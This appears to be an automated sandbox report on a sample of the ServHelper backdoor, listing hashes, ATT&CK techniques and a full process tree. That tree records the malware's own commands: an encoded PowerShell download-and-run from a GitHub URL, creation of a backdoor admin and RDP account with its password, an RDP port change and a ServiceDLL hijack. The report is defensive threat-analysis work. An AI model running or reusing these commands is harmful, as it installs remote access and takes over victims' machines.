servhelper | 45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e

Analysis

max time kernel
137s
max time network
122s
platform
windows7_x64
resource
win7-en-20211208
submitted
01-02-2022 01:08

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General

Target

45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe
Size

4.8MB
MD5

21345fbca5a55ebf159df33e413f49fa
SHA1

a5241a3aeeffca19e3eb645054fd1b35b4aebcfe
SHA256

45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e
SHA512

53b39836db28209b4b3719ceab8997ca7584b51931cd5454bcf454aa45f0457f84b9cc1061f27b81124e126abdf4b1d110d143bab01d0b23556f0fe22cadfd39

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow	pid	Process
5	1492	powershell.exe
6	1492	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exe

pid	Process
1832	icacls.exe
988	icacls.exe
328	icacls.exe
1900	icacls.exe
1456	icacls.exe
1932	icacls.exe
1140	icacls.exe
1496	takeown.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000a0000000130dd-105.dat	upx
behavioral1/files/0x00090000000131ed-106.dat	upx

Loads dropped DLL 2 IoCs

Processes:

pid	Process
1732
1732

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid	Process
988	icacls.exe
328	icacls.exe
1900	icacls.exe
1456	icacls.exe
1932	icacls.exe
1140	icacls.exe
1496	takeown.exe
1832	icacls.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 9 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\055L9GKXTICIIJRSRZJW.temp	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

Processes:

WMIC.exeWMIC.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40e8fbd41017d801	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

Processes:

reg.exe

pid	Process
1544	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
1468	powershell.exe
1624	powershell.exe
1376	powershell.exe
1768	powershell.exe
1468	powershell.exe
1468	powershell.exe
1468	powershell.exe
1492	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

Processes:

pid	Process
464
1732
1732
1732

Suspicious use of AdjustPrivilegeToken 18 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	1468	powershell.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeRestorePrivilege	988	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1544	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1544	WMIC.exe
Token: SeAuditPrivilege	1544	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1544	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1544	WMIC.exe
Token: SeAuditPrivilege	1544	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2000	WMIC.exe
Token: SeAuditPrivilege	2000	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2000	WMIC.exe
Token: SeAuditPrivilege	2000	WMIC.exe
Token: SeDebugPrivilege	1492	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exepowershell.execsc.exenet.execmd.execmd.exe

description	pid	Process	procid_target
PID 1660 wrote to memory of 1468	1660	45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe	27
PID 1660 wrote to memory of 1468	1660	45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe	27
PID 1660 wrote to memory of 1468	1660	45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe	27
PID 1468 wrote to memory of 1552	1468	powershell.exe	29
PID 1468 wrote to memory of 1552	1468	powershell.exe	29
PID 1468 wrote to memory of 1552	1468	powershell.exe	29
PID 1552 wrote to memory of 436	1552	csc.exe	30
PID 1552 wrote to memory of 436	1552	csc.exe	30
PID 1552 wrote to memory of 436	1552	csc.exe	30
PID 1468 wrote to memory of 1624	1468	powershell.exe	31
PID 1468 wrote to memory of 1624	1468	powershell.exe	31
PID 1468 wrote to memory of 1624	1468	powershell.exe	31
PID 1468 wrote to memory of 1376	1468	powershell.exe	33
PID 1468 wrote to memory of 1376	1468	powershell.exe	33
PID 1468 wrote to memory of 1376	1468	powershell.exe	33
PID 1468 wrote to memory of 1768	1468	powershell.exe	35
PID 1468 wrote to memory of 1768	1468	powershell.exe	35
PID 1468 wrote to memory of 1768	1468	powershell.exe	35
PID 1468 wrote to memory of 1496	1468	powershell.exe	40
PID 1468 wrote to memory of 1496	1468	powershell.exe	40
PID 1468 wrote to memory of 1496	1468	powershell.exe	40
PID 1468 wrote to memory of 1832	1468	powershell.exe	41
PID 1468 wrote to memory of 1832	1468	powershell.exe	41
PID 1468 wrote to memory of 1832	1468	powershell.exe	41
PID 1468 wrote to memory of 988	1468	powershell.exe	42
PID 1468 wrote to memory of 988	1468	powershell.exe	42
PID 1468 wrote to memory of 988	1468	powershell.exe	42
PID 1468 wrote to memory of 328	1468	powershell.exe	43
PID 1468 wrote to memory of 328	1468	powershell.exe	43
PID 1468 wrote to memory of 328	1468	powershell.exe	43
PID 1468 wrote to memory of 1900	1468	powershell.exe	44
PID 1468 wrote to memory of 1900	1468	powershell.exe	44
PID 1468 wrote to memory of 1900	1468	powershell.exe	44
PID 1468 wrote to memory of 1456	1468	powershell.exe	45
PID 1468 wrote to memory of 1456	1468	powershell.exe	45
PID 1468 wrote to memory of 1456	1468	powershell.exe	45
PID 1468 wrote to memory of 1932	1468	powershell.exe	46
PID 1468 wrote to memory of 1932	1468	powershell.exe	46
PID 1468 wrote to memory of 1932	1468	powershell.exe	46
PID 1468 wrote to memory of 1140	1468	powershell.exe	47
PID 1468 wrote to memory of 1140	1468	powershell.exe	47
PID 1468 wrote to memory of 1140	1468	powershell.exe	47
PID 1468 wrote to memory of 1820	1468	powershell.exe	48
PID 1468 wrote to memory of 1820	1468	powershell.exe	48
PID 1468 wrote to memory of 1820	1468	powershell.exe	48
PID 1468 wrote to memory of 1544	1468	powershell.exe	49
PID 1468 wrote to memory of 1544	1468	powershell.exe	49
PID 1468 wrote to memory of 1544	1468	powershell.exe	49
PID 1468 wrote to memory of 1928	1468	powershell.exe	50
PID 1468 wrote to memory of 1928	1468	powershell.exe	50
PID 1468 wrote to memory of 1928	1468	powershell.exe	50
PID 1468 wrote to memory of 832	1468	powershell.exe	51
PID 1468 wrote to memory of 832	1468	powershell.exe	51
PID 1468 wrote to memory of 832	1468	powershell.exe	51
PID 832 wrote to memory of 2000	832	net.exe	52
PID 832 wrote to memory of 2000	832	net.exe	52
PID 832 wrote to memory of 2000	832	net.exe	52
PID 1468 wrote to memory of 888	1468	powershell.exe	53
PID 1468 wrote to memory of 888	1468	powershell.exe	53
PID 1468 wrote to memory of 888	1468	powershell.exe	53
PID 888 wrote to memory of 2024	888	cmd.exe	54
PID 888 wrote to memory of 2024	888	cmd.exe	54
PID 888 wrote to memory of 2024	888	cmd.exe	54
PID 2024 wrote to memory of 1908	2024	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe
"C:\Users\Admin\AppData\Local\Temp\45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ld3enwzz.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES14D9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC13CF.tmp"
      4⤵
      PID:436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1376
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1496
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1832
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:988
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:328
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1900
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1456
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1932
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1140
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1820
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1544
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1928
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:2000
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:888
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2024
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1908
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1716
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1748
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:892
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1048
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1784
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1552

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:680
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:1496

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc kYju4b6l /add
1⤵
PID:1832
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc kYju4b6l /add
  2⤵
  PID:328
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc kYju4b6l /add
    3⤵
    PID:1940

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1636
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:956

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
1⤵
PID:384
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
  2⤵
  PID:1920
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
    3⤵
    PID:832

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:2024
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1944

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc kYju4b6l
1⤵
PID:1196
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc kYju4b6l
  2⤵
  PID:1900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc kYju4b6l
    3⤵
    PID:1528

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1956
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1544

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1740
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2000

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1968
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RES14D9.tmp

MD5
865b7bc465357fce03fd0617280827bb

SHA1
38618d96442e5f6a00d4410a102b0919b83bf19d

SHA256
b6d94a9f6dbdf7bc5e149502fbcffe5e7d1844d8bd605afa6dff20620f809303

SHA512
b513eea4c0b6a4ec5b2bf9cbcd02eb25d83b8e9e108024ab34810f84e4e17c6de983c27687b56cf1cbd960c75cd7642bc41e36b8fbbb6b1d4312e4a4dc944cd1

Download Submit
C:\Users\Admin\AppData\Local\Temp\ld3enwzz.dll

MD5
3d5d4afc18aa39248ce55a55bb27ed1c

SHA1
5c2f72c893ff8dfca0b79aed3a7f7d3b70e50ddd

SHA256
525e63c1b25c75fb2c03a71c870980e46c8eb26b155a23decbf060ef58c1b60d

SHA512
01a4521c9d744e71b1d88f8a725945592d4ccb358f1d28e43952bd89deefafb3c6d3ed0336dcb3bf7e644a32bdd12547d02b170582dbfc05be2bfed54b353134

Download Submit
C:\Users\Admin\AppData\Local\Temp\ld3enwzz.pdb

MD5
1f88b178ed729f3d2905fcf1daf2795c

SHA1
cd9bdb1b348fcef5f2439dd25268ee0e8147b7d9

SHA256
7d910c0bc7d1e9751c9ef3588cf56af8fb5b94f24c1d83ff114611959ecd17b2

SHA512
0162c54157e96b472e51dfb3490a20d51994a65c386535d600662e167470de1b506104bc8194b97afe272af5033072e9fe218ccdb87542b4a562f2ac89fe6c6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5
3447df88de7128bdc34942334b2fab98

SHA1
519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

SHA256
9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

SHA512
2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

Download Submit
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

MD5
43473f4e719958639a9d89e5d8388999

SHA1
ccb79eb606a23daa4b3ff8f996a2fbf281f31491

SHA256
ce84b142a2983e1f60b3051cbff38153424a016178ce3fcf703e3694eb474734

SHA512
1051092c5eae13758e8e01086907effc5c603cc1f9456fb2cdb951cb4b196c5c3d089ffd2e981b5d6731b0e6b24402fb2808a20f66ac6dcb1704a8f4b457b1fa

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
c2f6bbae87dae479b1f4b46890526489

SHA1
13778335c27b8f6195c96e9d9ed13d5cddec2ef7

SHA256
9cae37ce4201065bcfed67ca129e0707dec9fe73c3a0da12da864bc6577b2985

SHA512
6751c945fcb6aad9357683b73c754c9123f6b6376a54c1abc2d60df24b471e51531d1a4bbe9d294305a2fa12fdb33ac3324c0a55998573d55304492c859eeb99

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
c2f6bbae87dae479b1f4b46890526489

SHA1
13778335c27b8f6195c96e9d9ed13d5cddec2ef7

SHA256
9cae37ce4201065bcfed67ca129e0707dec9fe73c3a0da12da864bc6577b2985

SHA512
6751c945fcb6aad9357683b73c754c9123f6b6376a54c1abc2d60df24b471e51531d1a4bbe9d294305a2fa12fdb33ac3324c0a55998573d55304492c859eeb99

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
c2f6bbae87dae479b1f4b46890526489

SHA1
13778335c27b8f6195c96e9d9ed13d5cddec2ef7

SHA256
9cae37ce4201065bcfed67ca129e0707dec9fe73c3a0da12da864bc6577b2985

SHA512
6751c945fcb6aad9357683b73c754c9123f6b6376a54c1abc2d60df24b471e51531d1a4bbe9d294305a2fa12fdb33ac3324c0a55998573d55304492c859eeb99

Download Submit
C:\Windows\system32\rfxvmt.dll

MD5
dc39d23e4c0e681fad7a3e1342a2843c

SHA1
58fd7d50c2dca464a128f5e0435d6f0515e62073

SHA256
6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

SHA512
5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC13CF.tmp

MD5
3beefa6c993c38cd3d6809358ae0cda5

SHA1
8fa38c2453f3e4ed3e30a4c3bf69952ae34302aa

SHA256
7a1db8973c98296cd5f05e01ba3b22d5a7dd942a56839b1851ab712ec0e4dd81

SHA512
238102db9d33a0e0d8806bc68a257f02e3b8322e7fdcd95fc9be8e13ed719115f5d2a43459b7aa64fac49b9673ee640718544fc3a8279c533470e473d39e0cf6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ld3enwzz.0.cs

MD5
4864fc038c0b4d61f508d402317c6e9a

SHA1
72171db3eea76ecff3f7f173b0de0d277b0fede7

SHA256
0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

SHA512
9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\ld3enwzz.cmdline

MD5
02313fc5faeebc1ba8b76fa840acf2f8

SHA1
532b416a20c0dc6440f845592dec0e98fc09ae90

SHA256
b1238919d7f9e6ef19e8ad740d55fdb6488e1964b21ab7a276e01b2c3330af66

SHA512
eb27673be0474b7c7dc6be7e2050d464bf06975075375fd35db5b986911c74af2c8d20d29a14d66a351401f95c2d7e0717e4e84b24ca4422d8cd3390342ad69f

Download Submit
\Windows\Branding\mediasrv.png

MD5
271eacd9c9ec8531912e043bc9c58a31

SHA1
c86e20c2a10fd5c5bae4910a73fd62008d41233b

SHA256
177d6aab26c15ecf87f29f92ad0eaff355d195de1c0ef17d9cb9b7483c288934

SHA512
87375d3e0c2505ff8d5860db4a9a2cbb88da73f492f2be937b1dfd1afa37133061b7c69121727728835eaf545ce1850ec4889bad33366b8d4dadd7838af791c0

Download Submit
\Windows\Branding\mediasvc.png

MD5
1fa9c1e185a51b6ed443dd782b880b0d

SHA1
50145abf336a196183882ef960d285bd77dd3490

SHA256
f25560518e8bebbc0abdde4c0241833e432ad4c56f934bb18067c1abf7305959

SHA512
16bd50a904fa062f8ec6e41f00000da5d0221164c3eda90bc1791e195b25ef74bb9e1264d7536c204f9a01ca1489ae43484ceb1e7bb4f650aacf90fa16f1c9fc

Download Submit
memory/1376-88-0x0000000002870000-0x0000000002872000-memory.dmp

